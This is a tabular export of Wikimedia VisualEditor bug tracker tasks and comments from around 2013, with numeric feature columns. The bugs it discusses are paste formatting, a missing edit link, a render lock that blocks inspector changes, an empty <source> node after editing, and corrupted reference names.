265469,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Aha - yes, sorry, I *can* re-create this in wmf18 (en.wikipedia.org) but not wmf19 (mediawiki.org). I think we fixed this is in gerrit 85213, but closing as FIXED for now. If you can reproduce on MediaWiki.org (or master), please re-open.",,,1380311805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,14.0,5.0,2.0,2.0,7.0,14.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.3728813559322033,0.6949152542372882,"Aha - yes, sorry, I *can* re-create this in wmf18 (en.wikipedia.org) but not wmf19 (mediawiki.org). I think we fixed this is in gerrit 85213, but closing as FIXED for now. If you can reproduce on MediaWiki.org (or master), please re-open."
56706,VisualEditor: Sometimes the edit link for VE does not appear,"Edit link for VE missing in automated test

Seen on mw.o and test2wiki, with examples from automated tests and manual operations, but I do not have a consistent repro. 

Seems to happen more frequently for Chrome than Firefox. 

The lack of an edit link causes automated tests to fail from time to time.  I had thought it might be an artifact of the automation, but one of our candidates for VE QA also encountered the issue and conveniently provided a screen shot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12179}",High,80.0,1380295680,1408096458.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-22klbikg4fmxw7aotqvi,task_description,declined,True,c1,3,False,False,False,12,,0.0,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,3.0,8.5,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.5,1.5,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,5.0,1.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.0,8.5,4.0,0.0,0.0,0.0,3.0,0.0,0.0,2.5,0.0,0.5,0.5,0.0,0.0,3.9655737704918033,0.7353825136612022,"Edit link for VE missing in automated test

Seen on mw.o and test2wiki, with examples from automated tests and manual operations, but I do not have a consistent repro. 

Seems to happen more frequently for Chrome than Firefox. 

The lack of an edit link causes automated tests to fail from time to time.  I had thought it might be an artifact of the automation, but one of our candidates for VE QA also encountered the issue and conveniently provided a screen shot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12179}"
264484,VisualEditor: Sometimes the edit link for VE does not appear,No recent reports.,,,1408096458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,No recent reports.
264482,VisualEditor: Sometimes the edit link for VE does not appear,"Have you seen this issue recently? If not, this could probably be closed...",,,1408062252,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.9375,"Have you seen this issue recently? If not, this could probably be closed..."
264480,VisualEditor: Sometimes the edit link for VE does not appear,*** Bug 60359 has been marked as a duplicate of this bug. ***,,,1397067449,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60359 has been marked as a duplicate of this bug. ***
264477,VisualEditor: Sometimes the edit link for VE does not appear,"probably worth a look but this might be WORKSFORME, I don't think we've encountered this issue in at least a month",,,1384870240,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,3.9166666666666665,0.9166666666666666,"probably worth a look but this might be WORKSFORME, I don't think we've encountered this issue in at least a month"
264475,VisualEditor: Sometimes the edit link for VE does not appear,"Created attachment 13393
Edit link for VE missing in manual operation

**Attached**: {F12180}",,,1380295721,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.772727272727273,0.8636363636363636,"Created attachment 13393
Edit link for VE missing in manual operation

**Attached**: {F12180}"
56675,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"This is the root cause of bug 54335. Basically, you open the language inspector (or the link inspector, for that matter), make a change, then close the inspector by clicking elsewhere into the document (as opposed to by using the arrow or by pressing enter or escape in the link inspector's text input).

Narrated call stack:
* A mouseup event fires on the document
* ve.ce.Surface.onDocumentMouseUp() starts the observer and polls
* The observer notices that the selection has changed and emits a selectionChange event, which ends up invoking ve.ce.Surface.onSelectionChange
* onSelectionChange sets a render lock and changes the model selection
* ve.dm.Surface.change() emits a change event
* ve.ui.Context.onChange() notices that the selection changed while an inspector was visible, so it closes the inspector
* ve.ui.AnnotationInspector.onClose() saves the changes the user made to the model, by indirectly calling ve.dm.Surface.change()
* (at this point, we have a change() call stack frame nested inside another change() frame, which is always a bad sign)
* The transaction processed by onClose() annotates text, which causes an update event to be emitted
* ve.ce.ContentBranchNode.onChildUpdate() responds to this event and calls renderContents()
* renderContents() checks to see if the surface is locked for rendering; it is, so it bails and doesn't render the change

When I briefly talked to Trevor about this issue, he said something about emitting an event asynchronously. I dismissed it at the time, because it would just move both problems (having to lock to prevent the model normalizing the selection / event storms, but having to not lock to allow inspector changes to render), but now I think about it I think it has merit. We could have ve.ui.Context.onChange() asynchronously close the inspector, from a setTimeout(). That would avoid the nested change() thing, and it would allow the render lock to be lifted before the inspector is closed.

Alternatively, onSelectionChange could only lock against selection changes and still allow transactions. But the nested change() seems like a code smell anyway, the order of event handlers might get messed up for instance, and the caller would observe multiple changes from calling change() once (that's the root of the problem here).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1380244140,1382541648.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ipv73kunpojcr76x2cb7,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.2,0.0,0.6,0.4,2.8,0.8,0.2,0.0,0.2,0.6,0.2,0.0,0.2,0.0,1.2,0.2,4.0,9.2,0.2,1.6,0.0,0.2,0.0,1.0,0.4,0.0,0.2,0.6,0.8,0.2,6.0,1.4,1.6,0.2,0.2,0.2,0.6,0.0,1.0,0.0,0.2,0.4,2.2,0.0,0.4,0.0,0.0,0.4,17.0,0.6,0.8,0.2,0.2,0.0,0.6,0.0,0.2,0.4,0.0,0.0,0.6,0.2,0.2,0.0,0.0,0.0,8.8,1.6,4.8,1.4,2.8,11.2,0.0,0.0,0.0,0.0,4.8,0.0,0.6,0.0,3.2,9.2,2.0,0.0,0.0,0.0,3.2,0.0,0.8,2.4,0.0,2.2,0.0,0.0,0.0,4.260964912280702,0.6385964912280702,"This is the root cause of bug 54335. Basically, you open the language inspector (or the link inspector, for that matter), make a change, then close the inspector by clicking elsewhere into the document (as opposed to by using the arrow or by pressing enter or escape in the link inspector's text input).

Narrated call stack:
* A mouseup event fires on the document
* ve.ce.Surface.onDocumentMouseUp() starts the observer and polls
* The observer notices that the selection has changed and emits a selectionChange event, which ends up invoking ve.ce.Surface.onSelectionChange
* onSelectionChange sets a render lock and changes the model selection
* ve.dm.Surface.change() emits a change event
* ve.ui.Context.onChange() notices that the selection changed while an inspector was visible, so it closes the inspector
* ve.ui.AnnotationInspector.onClose() saves the changes the user made to the model, by indirectly calling ve.dm.Surface.change()
* (at this point, we have a change() call stack frame nested inside another change() frame, which is always a bad sign)
* The transaction processed by onClose() annotates text, which causes an update event to be emitted
* ve.ce.ContentBranchNode.onChildUpdate() responds to this event and calls renderContents()
* renderContents() checks to see if the surface is locked for rendering; it is, so it bails and doesn't render the change

When I briefly talked to Trevor about this issue, he said something about emitting an event asynchronously. I dismissed it at the time, because it would just move both problems (having to lock to prevent the model normalizing the selection / event storms, but having to not lock to allow inspector changes to render), but now I think about it I think it has merit. We could have ve.ui.Context.onChange() asynchronously close the inspector, from a setTimeout(). That would avoid the nested change() thing, and it would allow the render lock to be lifted before the inspector is closed.

Alternatively, onSelectionChange could only lock against selection changes and still allow transactions. But the nested change() seems like a code smell anyway, the order of event handlers might get messed up for instance, and the caller would observe multiple changes from calling change() once (that's the root of the problem here).

--------------------------
**Version**: unspecified
**Severity**: normal"
263009,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"Change 90957 merged by jenkins-bot:
Defer selection-triggered updates in ve.ui.Context

https://gerrit.wikimedia.org/r/90957",,,1382541620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.95,"Change 90957 merged by jenkins-bot:
Defer selection-triggered updates in ve.ui.Context

GERRIT_URL"
263005,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"Change 90957 had a related patch set uploaded by Catrope:
Defer selection-triggered updates in ve.ui.Context

https://gerrit.wikimedia.org/r/90957",,,1382383496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 90957 had a related patch set uploaded by Catrope:
Defer selection-triggered updates in ve.ui.Context

GERRIT_URL"
263002,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"From #mediawiki-visualeditor IRC with RoanKattouw:

* It seems wrong to implement click-out-to-close by detecting a selection change.
* Should we bind to document mousedown instead? We need to avoid tripping over other mouse handling of course.

Aside from this,

* In general DM selection changes should emit something less drastic than 'change', because we don't want them to get back to the CE layer (which has a somewhat different set of possible cursor positions).
* I (David) am currently working on a fairly big refactor of ve.ce.Surface will include this.",,,1380324587,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,12,,0.0,1.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,2.5,0.0,6.0,12.0,1.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,0.0,0.0,0.5,1.0,2.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,8.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,8.0,1.0,0.0,5.0,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,4.0,12.0,5.0,0.5,1.5,0.0,4.0,0.0,1.0,2.0,1.0,2.0,1.0,0.0,0.0,3.9587431693989075,0.8431693989071039,"From #mediawiki-visualeditor IRC with RoanKattouw:

* It seems wrong to implement click-out-to-close by detecting a selection change.
* Should we bind to document mousedown instead? We need to avoid tripping over other mouse handling of course.

Aside from this,

* In general DM selection changes should emit something less drastic than 'change', because we don't want them to get back to the CE layer (which has a somewhat different set of possible cursor positions).
* I (David) am currently working on a fairly big refactor of ve.ce.Surface will include this."
56577,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"1. Create a page with <source lang=""JavaScript"">some content here</source>
2. Edit the page in VE. Note that the <source> tag renders correctly
3. Use the alien tag inspector to edit the contents of the <source> tag
4. The <source> tag rerenders as an empty block

This is because the HTML <source> tag is self-closing and cannot have any content. This leads to strange situations like:

>>> extensionNode[0]
<source lang=​""JavaScript"">​whee​</source>​
>>> extensionNode[0].outerHTML
""<source lang=""JavaScript""></source>""

To avoid the HTML behavior for this and possibly other tag names, we should create an XML node rather than an HTML node to build the wikitext string for the preview.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57429",High,80.0,1380066060,1386026779.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-k77k35tkwkjkzeravyd3,task_description,resolved,True,c1,3,False,False,False,12,,0.5,0.0,0.0,0.0,0.5,3.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,7.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,19.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,11.0,1.0,1.0,9.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.5,7.5,5.0,0.0,1.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.5,3.8855421686746987,0.608433734939759,"1. Create a page with <source lang=""JavaScript"">some content here</source>
2. Edit the page in VE. Note that the <source> tag renders correctly
3. Use the alien tag inspector to edit the contents of the <source> tag
4. The <source> tag rerenders as an empty block

This is because the HTML <source> tag is self-closing and cannot have any content. This leads to strange situations like:

QUOTE
<source lang=​""JavaScript"">​whee​</source>​
QUOTE
""<source lang=""JavaScript""></source>""

To avoid the HTML behavior for this and possibly other tag names, we should create an XML node rather than an HTML node to build the wikitext string for the preview.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
257051,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"Change 98392 merged by jenkins-bot:
Render MW extension node wikitext with XML

https://gerrit.wikimedia.org/r/98392",,,1385924792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k77k35tkwkjkzeravyd3,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"Change 98392 merged by jenkins-bot:
Render MW extension node wikitext with XML

GERRIT_URL"
257044,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"Change 98392 had a related patch set uploaded by Esanders:
Render MW extension node wikitext with XML

https://gerrit.wikimedia.org/r/98392",,,1385919115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k77k35tkwkjkzeravyd3,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 98392 had a related patch set uploaded by Esanders:
Render MW extension node wikitext with XML

GERRIT_URL"
56445,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","https://en.wikipedia.org/w/index.php?title=Daniel_Rowe_%28footballer%29&oldid=570278760&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54341",High,80.0,1379834280,1380836921.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-v44q2sk65tk423gk2wgc,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1379310344827585,0.41379310344827586,"URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
254458,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Hey Roan :)
I might be wrong, but I think it's still about name corruption (I think the user is complaining that he added or reused a reference, but after he saved the number in brackets was not pointing to the one he chose).
Anyway, I'll contact the user to get more details, because it might also be not a bug at all. As I wrote elsewhere, I think it can be confusing that the name and the number of a reference do not match, although everything will still work as intended.
See
https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575128343&oldid=575128003
(the reference #2 gets a ref name:3).",,,1381323957,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,1.0,1.0,0.0,0.0,2.0,2.0,2.0,1.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,3.5,0.5,7.0,8.5,1.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,1.5,0.0,4.5,2.5,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.5,11.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,7.5,3.0,7.5,3.0,2.5,7.5,0.0,0.5,0.0,1.0,5.5,0.5,1.0,0.0,7.5,8.5,0.5,0.0,0.0,0.0,7.5,0.0,0.0,3.0,0.0,1.0,0.5,0.0,0.0,3.4711792702273927,0.756081438392385,"Hey Roan :)
I might be wrong, but I think it's still about name corruption (I think the user is complaining that he added or reused a reference, but after he saved the number in brackets was not pointing to the one he chose).
Anyway, I'll contact the user to get more details, because it might also be not a bug at all. As I wrote elsewhere, I think it can be confusing that the name and the number of a reference do not match, although everything will still work as intended.
See
URL
(the reference #2 gets a ref name:3)."
254456,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","(In reply to comment #7)
> Additional comments from Polish Wikipedia Kthaara:
> 
> ""Bug seems did not recognize references or not recognize their numbers. Ex.:
> I
> wrote some text in section about add-ons and need to make a reference to page
> from Eve-community. I make one and VE, sure, did it, but aotomaticaly
> redirects
> to completely different reference, like: it make ref no. 50 and redirect it
> to
> no. 3 - which is different thing. After several tries I manage to get right
> reference but it change another. In this moment I gave up."" 
> 
> And here is a diff:
> https://pl.wikipedia.org/w/index.
> php?title=Eve_Online&diff=37587971&oldid=37587957
This looks like a similar bug, but it's not the same bug (the original report was about name corruption, not content corruption). Could you file a new bug for this?

Additionally, an as detailed as possible explanation of what the user did to produce that diff (step-by-step instructions, if they remember) would be very helpful. It's theoretically possible for VE to produce that diff legitimately if the user did certain things, but I doubt that's what happened.",,,1381245792,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.5,0.0,1.0,6.0,1.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,8.5,0.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,4.0,1.5,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,1.0,12.0,1.5,1.0,8.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,3.0,8.5,7.0,0.5,0.0,0.0,3.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,3.652280477408355,0.5994245524296675,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
This looks like a similar bug, but it's not the same bug (the original report was about name corruption, not content corruption). Could you file a new bug for this?

Additionally, an as detailed as possible explanation of what the user did to produce that diff (step-by-step instructions, if they remember) would be very helpful. It's theoretically possible for VE to produce that diff legitimately if the user did certain things, but I doubt that's what happened."
254454,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Additional comments from Polish Wikipedia Kthaara:

""Bug seems did not recognize references or not recognize their numbers. Ex.: I wrote some text in section about add-ons and need to make a reference to page from Eve-community. I make one and VE, sure, did it, but aotomaticaly redirects to completely different reference, like: it make ref no. 50 and redirect it to no. 3 - which is different thing. After several tries I manage to get right reference but it change another. In this moment I gave up."" 

And here is a diff: https://pl.wikipedia.org/w/index.php?title=Eve_Online&diff=37587971&oldid=37587957",,,1381244614,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,1.5,0.0,1.0,0.0,1.0,5.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,2.5,9.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,3.0,1.5,0.0,0.5,1.0,1.5,0.0,1.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,10.0,0.0,4.5,4.5,0.0,0.0,0.0,0.0,3.0,1.5,2.0,0.0,6.5,9.0,4.0,0.0,1.5,0.0,6.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.7434248977206313,0.760666277030976,"Additional comments from Polish Wikipedia Kthaara:

""Bug seems did not recognize references or not recognize their numbers. Ex.: I wrote some text in section about add-ons and need to make a reference to page from Eve-community. I make one and VE, sure, did it, but aotomaticaly redirects to completely different reference, like: it make ref no. 50 and redirect it to no. 3 - which is different thing. After several tries I manage to get right reference but it change another. In this moment I gave up."" 

And here is a diff: URL"
254452,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","This problem was also reported happening on Polish Wikipedia (PL.WP) by User:Kthaara (using VE on Win 7, Mozilla Firefox (latest version)).

https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#linki_i_przypisy 

>> This bug appears when I edited Eve Online page:
